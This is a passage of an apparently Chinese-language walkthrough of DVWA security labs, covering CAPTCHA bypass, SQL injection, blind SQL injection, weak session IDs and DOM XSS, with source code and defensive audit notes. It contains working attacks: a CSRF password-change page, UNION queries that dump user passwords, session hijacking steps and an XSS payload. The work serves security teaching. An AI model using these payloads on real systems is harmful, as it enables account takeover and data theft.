9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
<?php

if( isset( $_POST[ 'Upload' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );


// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
$uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ];

// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . 'hackable/uploads/';
//$target_file = basename( $uploaded_name, '.' . $uploaded_ext ) . '-';
$target_file = md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
$temp_file = ( ( ini_get( 'upload_tmp_dir' ) == '' ) ? ( sys_get_temp_dir() ) : ( ini_get( 'upload_tmp_dir' ) ) );
$temp_file .= DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;

// Is it an image?
if( ( strtolower( $uploaded_ext ) == 'jpg' || strtolower( $uploaded_ext ) == 'jpeg' || strtolower( $uploaded_ext ) == 'png' ) &&
( $uploaded_size < 100000 ) &&
( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) &&
getimagesize( $uploaded_tmp ) ) {

// Strip any metadata, by re-encoding image (Note, using php-Imagick is recommended over php-GD)
if( $uploaded_type == 'image/jpeg' ) {
$img = imagecreatefromjpeg( $uploaded_tmp );
imagejpeg( $img, $temp_file, 100);
}
else {
$img = imagecreatefrompng( $uploaded_tmp );
imagepng( $img, $temp_file, 9);
}
imagedestroy( $img );

// Can we move the file to the web root from the temp folder?
if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) {
// Yes!
echo "<pre><a href='${target_path}${target_file}'>${target_file}</a> succesfully uploaded!</pre>";
}
else {
// No
echo '<pre>Your image was not uploaded.</pre>';
}

// Delete any temp files
if( file_exists( $temp_file ) )
unlink( $temp_file );
}
else {
// Invalid file
echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}

// Generate Anti-CSRF token
generateSessionToken();

?>

代码审计

  • 这里使用token防止CSRF

    1
    2
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
    generateSessionToken();
  • md5()使得文件名被重置,无法实现工具连接(找不到文件)

    1
    $target_file   =  md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
  • 图片代码重组,防止恶意代码拼接

    1
    2
    3
    4
    5
    6
    7
    8
    9
    if( $uploaded_type == 'image/jpeg' ) {
    $img = imagecreatefromjpeg( $uploaded_tmp );
    imagejpeg( $img, $temp_file, 100);
    }
    else {
    $img = imagecreatefrompng( $uploaded_tmp );
    imagepng( $img, $temp_file, 9);
    }
    imagedestroy( $img );

    Insecure CAPTCHA

    Insecure CAPTCHA

    Low

    Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
<?php

if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '1' ) ) {
// Hide the CAPTCHA form
$hide_form = true;

// Get input
$pass_new = $_POST[ 'password_new' ];
$pass_conf = $_POST[ 'password_conf' ];

// Check CAPTCHA from 3rd party
$resp = recaptcha_check_answer(
$_DVWA[ 'recaptcha_private_key'],
$_POST['g-recaptcha-response']
);

// Did the CAPTCHA fail?
if( !$resp ) {
// What happens when the CAPTCHA was entered incorrectly
$html .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";
$hide_form = false;
return;
}
else {
// CAPTCHA was correct. Do both new passwords match?
if( $pass_new == $pass_conf ) {
// Show next stage for the user
echo "
<pre><br />You passed the CAPTCHA! Click the button to confirm your changes.<br /></pre>
<form action=\"#\" method=\"POST\">
<input type=\"hidden\" name=\"step\" value=\"2\" />
<input type=\"hidden\" name=\"password_new\" value=\"{$pass_new}\" />
<input type=\"hidden\" name=\"password_conf\" value=\"{$pass_conf}\" />
<input type=\"submit\" name=\"Change\" value=\"Change\" />
</form>";
}
else {
// Both new passwords do not match.
$html .= "<pre>Both passwords must match.</pre>";
$hide_form = false;
}
}
}

if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '2' ) ) {
// Hide the CAPTCHA form
$hide_form = true;

// Get input
$pass_new = $_POST[ 'password_new' ];
$pass_conf = $_POST[ 'password_conf' ];

// Check to see if both password match
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );

// Update database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

// Feedback for the end user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with the passwords matching
echo "<pre>Passwords did not match.</pre>";
$hide_form = false;
}

((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

方法

  • 这里修改密码的过程有两步,第一步是CAPTCHA的验证环节,第二步是将参数POST到后台。
  • 由于两步操作的判断是完全分开、没有联系的,于是可以忽略第一步的验证,直接提交修改申请。
  • 两个步骤对应的step参数不同,可以通过抓取报文并且修改step,来实现验证的绕过。
  • 代码没有对CSRF进行任何防护,可以利用CSRF漏洞进行攻击。
  • 不进行验证,直接输入对密码的修改。
  • 点击change后,step本应提交为1,此处进行抓包修改。
  • 修改之后则绕过了验证阶段,直接进行密码修改。

  • 第二种方法,同CSRF攻击一样,构造攻击页面。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<html>

<body onload="document.getElementById('transfer').submit()">

<div>

<form method="POST" id="transfer" action="http://127.0.0.1/DVWA-master/vulnerabilities/captcha/">

<input type="hidden" name="password_new" value="password">

<input type="hidden" name="password_conf" value="password">

<input type="hidden" name="step" value="2">

<input type="hidden" name="Change" value="Change">

</form>

</div>

</body>

</html>
  • 用户点击攻击页面后自动提交请求,并跳转到修改密码的初始页面。

Medium

Code

1
2
3
4
5
6
7
8
9
10
// Same as Low
...

// Check to see if they did stage 1
if( !$_POST[ 'passed_captcha' ] ) {
$html .= "<pre><br />You have not passed the CAPTCHA.</pre>";
$hide_form = false;
return;
}
...

方法

  • Medium级别基于Low的基础,在第二步判断增加了对第一步是否通过的验证,即判断参数passed_captcha是否为真。
  • passed_captcha参数是通过POST提交的,整个请求也是POST请求,故可以人为加上此参数。
  • Low一样,直接跳过验证环节,提交请求。
  • 使用Burp Suite抓取包并修改报文,将步骤直接调整到第二步,第二步的验证伪造为已验证,即直接加入passed_captcha参数,混入POST的参数提交。
  • Forward提交请求,发现完成绕过。

  • 利用CSRF漏洞攻击时,攻击页面需要添加一条参数提交。
1
<input type="hidden" name="passed_captcha" value="true">

High

Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php

if( isset( $_POST[ 'Change' ] ) ) {
// Same as Medium
...

if (
$resp ||
(
$_POST[ 'g-recaptcha-response' ] == 'hidd3n_valu3'
&& $_SERVER[ 'HTTP_USER_AGENT' ] == 'reCAPTCHA'
)
){
...

// Generate Anti-CSRF token
generateSessionToken();

?>

方法

  • High级别将验证流程合并,通过连续的判断将两个步骤相同的部分合并,避免了第一步验证的直接改参绕过。
  • 加入了token机制,有效防止CSRF漏洞攻击,下面不再做攻击页面。
  • 看到了后端代码,发现即使不验证也有机会绕过验证,于是针对g-recaptcha-responseHTTP_USER_AGENT操作。
  • 同样不验证,直接提交请求并对相关参数进行抓包修改。
  • 提交后,参数完成了伪造绕过。

Impossible

Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
<?php

if( isset( $_POST[ 'Change' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

// Hide the CAPTCHA form
$hide_form = true;

// Get input
$pass_new = $_POST[ 'password_new' ];
$pass_new = stripslashes( $pass_new );
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );

$pass_conf = $_POST[ 'password_conf' ];
$pass_conf = stripslashes( $pass_conf );
$pass_conf = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_conf ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_conf = md5( $pass_conf );

$pass_curr = $_POST[ 'password_current' ];
$pass_curr = stripslashes( $pass_curr );
$pass_curr = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_curr ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_curr = md5( $pass_curr );

// Check CAPTCHA from 3rd party
$resp = recaptcha_check_answer(
$_DVWA[ 'recaptcha_private_key' ],
$_POST['g-recaptcha-response']
);

// Did the CAPTCHA fail?
if( !$resp ) {
// What happens when the CAPTCHA was entered incorrectly
echo "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";
$hide_form = false;
}
else {
// Check that the current password is correct
$data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
$data->bindParam( ':password', $pass_curr, PDO::PARAM_STR );
$data->execute();

// Do both new password match and was the current password correct?
if( ( $pass_new == $pass_conf) && ( $data->rowCount() == 1 ) ) {
// Update the database
$data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' );
$data->bindParam( ':password', $pass_new, PDO::PARAM_STR );
$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
$data->execute();

// Feedback for the end user - success!
echo "<pre>Password Changed.</pre>";
}
else {
// Feedback for the end user - failed!
echo "<pre>Either your current password is incorrect or the new passwords did not match.<br />Please try again.</pre>";
$hide_form = false;
}
}
}

// Generate Anti-CSRF token
generateSessionToken();

?>

代码审计

  • 使用Anti-CSRF token机制防御CSRF攻击。
  • 验证步骤合并为同一步,无需分开,使得验证环节无法绕过。
  • 要求输入修改之前的密码,攻击者无法绕过。
  • 利用PDO技术输入内容过滤,防止了sql注入。

    SQL Injection

    Low

    SQL Injection

    Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php

if( isset( $_REQUEST[ 'Submit' ] ) ) {
// Get input
$id = $_REQUEST[ 'id' ];

// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];

// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}

mysqli_close($GLOBALS["___mysqli_ston"]);
}

?>

方法

  • query为姓名的查询语句,最后直接与客户端传过来的参数拼接。
  • result获得数据库查询后的结果,若没有查询到则判断是否存在数据库出错或者数据库链接。
  • row获得查询结果中的各行,通过键值赋值给变量firstlast

mysql_query( mysqli $link , string $query , int $resultmode = MYSQLI_STORE_RESULT ) : mixed

link为返回的mysqli实例,表示连接的数据库。对query查询语句内容进行查询,将查询结果返回。

die( string $status ) : void

强制退出当前脚本,并打印推出信息status

is_object( mixed $var ) : bool

判断变量var是否为一个对象。

mysqli_error ( mysqli $link ) : string

返回最近调用函数的最后一个错误描述。

mysqli_connect_error ( ) : string

返回最近调用mysqli_connect()的最后一个错误描述。

mysqli_fetch_assoc ( mysqli_result $result ) : array

返回与获取的行相对应的关联数组;如果没有更多行,则返回null

mysqli_close ( mysqli $link ) : bool

关闭数据库连接link

注入类型

  • 假装没有偷看后端代码,在SQL注入之前需要判断是字符型还是数字型注入,两者后端代码区别如下。

  • ```sql

    字符型

    SELECT first_name, last_name FROM users WHERE user_id = ‘$id’;

    数字型

    SELECT first_name, last_name FROM users WHERE user_id = $id;

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37

    * 故需先测试注入类型,假设为数字型注入,此处先输入`1 and 1=2`。

    * ![](https://img-blog.csdnimg.cn/2021013122192241.png)


    * 若为数字型注入,该逻辑判断错误,应该不做输出。

    * 但这里仍有输出,与假设矛盾,故判断为字符型注入。

    #### 数据库信息

    * 依次键入`1' order by x#`,此语句意为:将查询结果按照第`x`列顺序排列。

    * `x`逐渐增大,直到报错为止。

    * ![](https://img-blog.csdnimg.cn/20210131222053396.png)
    * 故得知查询得到的字段数为`2`。

    * 知道输出列数后,即可使用`UNION`操作符,构造相同列的`SELECT`查询语句,进行数据库信息查询。

    * 如想要知道数据库的版本和当前库名,可以输入`1' union select database(),version()#`,得到如下输出。

    * ![](https://img-blog.csdnimg.cn/20210131222122946.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQ1OTY5MDYy,size_16,color_FFFFFF,t_70)


    * 下面对数据库信息获取的操作,大致查询顺序做一个总结。

    * ```sql
    #查看数据库的所有库名以及对应库中表的个数
    ... UNION SELECT table_schema,count(*) FROM information_schema.tables GROUP BY table_schema#
    #查看当前数据库中的表名字
    ... UNION SELECT 1,group_concat(table_name) FROM information_schema.tables WHERE table_schema=database() #
    #查看user表的列
    ... UNION SELECT 1,group_concat(column_name) FROM information_schema.columns WHERE table_name='users'#
    #查看每个用户信息以及密码
    ... UNION SELECT group_concat(user_id,first_name,last_name),group_concat(password) FROM users #

Medium

Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php

if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$id = $_POST[ 'id' ];

$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);

$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";

// Same as Low
...

}

// This is used later on in the index.php page
// Setting it here so we can close the database connection in here like in the rest of the source scripts
$query = "SELECT COUNT(*) FROM users;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
$number_of_rows = mysqli_fetch_row( $result )[0];

mysqli_close($GLOBALS["___mysqli_ston"]);
?>

方法

  • 前端页面使用了<select>元素下拉菜单选择,并结合POST提交方式以控制用户输入。
  • Low基础上,对输入内容进行了特殊字符的转义。

mysqli_real_escape_string( mysqli $link , string $escapestr ) : string

escapestr字符串中的NUL (ASCII 0)\n\r\'"Control-Z进行转义,返回转义完成的字符串。

  • 使用Burp Suite修改报文,可以绕过输入端限制。
  • 首先查看注入类型,假设为数字型注入,输入1' and '1'='2

  • 发现报错,与假设矛盾,故为数字型注入。

  • 输入过滤绕过后,剩余步骤重复上文攻击流程。

High

Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php

if( isset( $_SESSION [ 'id' ] ) ) {
// Get input
$id = $_SESSION[ 'id' ];

// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";

// Same as Medium
...
}

?>

方法

  • High的改动并不多,这里采用了页面提交的方式。
  • query查询语句限制了查询的语句条数。

  • 两种注入类型的判别在上面的级别中已经给出,这里不多做赘述,直接按照字符型注入进行。

  • 在输入页面中,确保以#结尾,即可绕过查询个数限制。
  • 其余注入方法同Low

    Impossible

    Code

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    <?php

    if( isset( $_GET[ 'Submit' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $id = $_GET[ 'id' ];

    // Was a number entered?
    if(is_numeric( $id )) {
    // Check the database
    $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
    $data->bindParam( ':id', $id, PDO::PARAM_INT );
    $data->execute();
    $row = $data->fetch();

    // Make sure only 1 result is returned
    if( $data->rowCount() == 1 ) {
    // Get values
    $first = $row[ 'first_name' ];
    $last = $row[ 'last_name' ];

    // Feedback for end user
    echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
    }
    }
    }

    // Generate Anti-CSRF token
    generateSessionToken();

    ?>

代码审计

  • 加入了防止CSRF攻击的token机制(已经介绍过很多遍了)。
  • 使用is_numeric()函数判断输入是否为合法的数字输入。
  • 使用PDO技术对SQL查询进行预处理,下面会给出大致过程。
  • 在查询中只允许一条输出,隔绝了High级别的绕过。

is_numeric ( mixed $var ) : bool

判断变量var是否为数字或数字串。

PDO机制 (此处参考网上大佬的总结)

  1. 预编译prepare
    • 本地调用PDO prepare()中内置的mysql_real_escape_string()函数,以预先完成编译。
  2. 绑定参数bindParam

    • 其中对应参数使用命名参数的方法占位,在输入串完成过滤后,再进行替换。
    • 第三个参数定义了规定的参数类型,此处为PDO:PARAM_INT整型。
    • 其实和转义再拼接没有区别,只是这里由PDO本地驱动转义。
  3. PDOStatement::rowCount ( ) : int

    • 返回受相应PDOStatement对象执行的最后一个DELETEINSERTUPDATE语句影响的行数。

      SQL Injection (Blind)

      SQL Injection (Blind)

      Low

      Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php

if( isset( $_GET[ 'Submit' ] ) ) {
// Get input
$id = $_GET[ 'id' ];

// Check database
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors

// Get results
$num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
if( $num > 0 ) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}

((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

方法

  • 盲注在SQL的基础上,屏蔽了查询输出,但是仍显示或者表现出查询结果的正确与否,故使用AND连接语句查询。
  • 此处对提交的参数使用了字符型注入,没有对参数进行任何防护,根据查询到的语句条数显示成功与否。

  • 具体盲注内容参考我之前写的博客,这里只是介绍绕过检测的方法。

Medium

Code

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php

if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$id = $_POST[ 'id' ];
$id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

// Check database
$getid = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors

// Same as Low
...

方法

  • 前端页面部分使用了<select>元素提交POST参数的方法,在后端对查询语句进行了转义字符过滤。
  • 使用Burp Suite抓包改参数,测试方式同Low

High

Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php

if( isset( $_COOKIE[ 'id' ] ) ) {
// Get input
$id = $_COOKIE[ 'id' ];

// Check database
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors

// Get results
$num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
if( $num > 0 ) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// Might sleep a random amount
if( rand( 0, 5 ) == 3 ) {
sleep( rand( 2, 4 ) );
}

// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}

((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

方法

  • 将提交页面分离,查询失败随机决定休眠时间,隔绝大量恶意自动注入,使得SQLMAP等注入工具被阻碍。
  • LIMIT限制了数量的查询,可使用#屏蔽。
  • 不过对于提交页面仍然存在SQL盲注,并且为数字型注入,注入方法同Low

Impossible

Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36

<?php

if( isset( $_GET[ 'Submit' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

// Get input
$id = $_GET[ 'id' ];

// Was a number entered?
if(is_numeric( $id )) {
// Check the database
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
$data->bindParam( ':id', $id, PDO::PARAM_INT );
$data->execute();

// Get results
if( $data->rowCount() == 1 ) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
}
}

// Generate Anti-CSRF token
generateSessionToken();

?>

代码审计

  • 日常check token
  • 使用PDO机制,实现预编译,防止转义字符和#
  • 无法注释后,预编译导致LIMIT 1无法被绕过。

Weak Session IDs

Weak Session IDs

Low

Code

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php

$html = "";

if ($_SERVER['REQUEST_METHOD'] == "POST") {
if (!isset ($_SESSION['last_session_id'])) {
$_SESSION['last_session_id'] = 0;
}
$_SESSION['last_session_id']++;
$cookie_value = $_SESSION['last_session_id'];
setcookie("dvwaSession", $cookie_value);
}
?>

方法

  • 使用POST上传参数时候,设置SessionID
  • 若设置过,则使用上一次的SessionID直接+1,若未设置,则初始化为0
  • 这样的SessionID太过简单,并且很容易冲突,无法标识单一个体。
  • 找到每次dvwaSession的变化规律,使用BurpSuite抓包查看dvwaSession
  • 使用他人的dvwaSession以及其他cookie内容,尝试删除cookie后登录。
  • 能够登录,说明cookie构造成功(虽然是自己已经看到的)。

Medium

Code

1
2
3
4
5
6
7
8
9
<?php

$html = "";

if ($_SERVER['REQUEST_METHOD'] == "POST") {
$cookie_value = time();
setcookie("dvwaSession", $cookie_value);
}
?>

方法

  • 使用时间函数获取当前时间作为cookie,故同一时间的会话将会发生冲突。
  • 其余设置同Low

time( ) : int 返回当前的GMT时间,即Unix纪元起到现在的秒数。

  • 使用时间戳在线转换器构造时间点,诱骗受害者在该时间点击,形成SessionID碰撞(感觉不太可能)。
  • 或者在受害者最近一次登录后,通过获取其登入时间点,构造时间戳。
  • 使用预测的dvwaSession登入即可。

High

Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php

$html = "";

if ($_SERVER['REQUEST_METHOD'] == "POST") {
if (!isset ($_SESSION['last_session_id_high'])) {
$_SESSION['last_session_id_high'] = 0;
}
$_SESSION['last_session_id_high']++;
$cookie_value = md5($_SESSION['last_session_id_high']);
setcookie("dvwaSession", $cookie_value, time()+3600, "/vulnerabilities/weak_id/", $_SERVER['HTTP_HOST'], false, false);
}

?>

方法

  • 基本内容同Low,在累加的基础上增加了md5加密。

setcookie( string $name , string $value = “” , int $expires = 0 , string $path = “” , string $domain = “” , bool $secure = false , bool $httponly = false ) : bool 即定义一条cookie,名为name,值为value,失效期为expires(GMT时间),path为有效的服务器路径,domain为有效的域名,secure表示是否建立HTTPS连接,httponly表示是否只通过HTTP协议访问。

  • 获取现有dvwaSession后,使用网上的md5在线加解密工具得到明文。
  • 找到明文规律后,构造dvwaSession实现无登录访问。

Impossible

  • 使用DVWAImpossible级别进行审计。

Code

1
2
3
4
5
6
7
8
9
<?php

$html = "";

if ($_SERVER['REQUEST_METHOD'] == "POST") {
$cookie_value = sha1(mt_rand() . time() . "Impossible");
setcookie("dvwaSession", $cookie_value, time()+3600, "/vulnerabilities/weak_id/", $_SERVER['HTTP_HOST'], true, true);
}
?>

代码审计

  • 使用SHA1加密,使得SessionID难以破译。
  • 明文内容为随机数+GMT时间+字符串,增加了伪造的难度。
  • 但仍存在SessionID冲突的情况。

sha1( string $string , bool $binary = false ) : string计算字符串的SHA-1散列,binaryTRUE时为二进制,FALSE时为十六进制。

mt_rand( int $min , int $max ) : int 使用Mersenne Twister的算法生成随机数,若有参数则介于minmax,若无参数则生成0mt_getrandmax()之间的随机数。

XSS(DOM)

XSS(DOM)

介绍

  • 每个页面都有自己的DOM树,通过修改DOM树使得恶意脚本被执行。
  • DOMDocument Object Model文档对象模型,所以后面代码主要注重前端。

Low

Code

  • 前端
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<select name="default">
<script>
if (document.location.href.indexOf("default=") >= 0) {
var lang = document.location.href.substring(document.location.href.indexOf("default=")+8);
document.write("<option value='" + lang + "'>" + decodeURI(lang) + "</option>");
document.write("<option value='' disabled='disabled'>----</option>");
}

document.write("<option value='English'>English</option>");
document.write("<option value='French'>French</option>");
document.write("<option value='Spanish'>Spanish</option>");
document.write("<option value='German'>German</option>");
</script>
<option value="English">English</option>
<option value="French">French</option>
<option value="Spanish">Spanish</option>
<option value="German">German</option>
</select>
  • 后端
1
2
3
4
5
<?php

# No protections, anything goes

?>

方法

  • 前端将GET上传的default参数加入到<select>元素的选项卡中,每当页面被呈现时,恶意代码就可以运行。
  • 后端没有做任何防护,意思就是随便注。

document.location.href.indexOf(str)返回字符串str第一个字符的下标。

document.location.href.substring(start, end)构造下标从startend的子串。

  • 直接在URL中通过修改default参数上传XSS注入。

Medium

Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php

// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
$default = $_GET['default'];

# Do not allow script tags
if (stripos ($default, "<script") !== false) {
header ("location: ?default=English");
exit;
}
}

?>

方法

  • 前端代码没变(之后也应该不变),后端增加了对<script的过滤。
  • 这里可以使用没有被屏蔽的标签进行注入。
  • <option><select>标签闭合,保证img标签可以插入。
  • Payload如下
1
</option></select><img src=1 onerror=alert('XSS')>
  • 此时src链接必然找不到图片并且报错,onerror收到后即执行XSS语句。

High

Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php

// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {

# White list the allowable languages
switch ($_GET['default']) {
case "French":
case "English":
case "German":
case "Spanish":
# ok
break;
default:
header ("location: ?default=English");
exit;
}
}

?>

方法

  • 设置白名单,只有规定的几种选项可以输入。
  • 若不在白名单内,默认设置为English
  • 使用&或者#分隔参数,$_GET['default']指向分隔符之前的内容,参与后端判断语句。
  • 根据前端代码可知,分隔符之后的内容也会载入到前端页面中,故可实现恶意代码的注入。

Impossible

Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<select name="default">
<script>
if (document.location.href.indexOf("default=") >= 0) {
var lang = document.location.href.substring(document.location.href.indexOf("default=")+8);
document.write("<option value='" + lang + "'>" + (lang) + "</option>");
document.write("<option value='' disabled='disabled'>----</option>");
}

document.write("<option value='English'>English</option>");
document.write("<option value='French'>French</option>");
document.write("<option value='Spanish'>Spanish</option>");
document.write("<option value='German'>German</option>");
</script>
<option value="English">English</option>
<option value="French">French</option>
<option value="Spanish">Spanish</option>
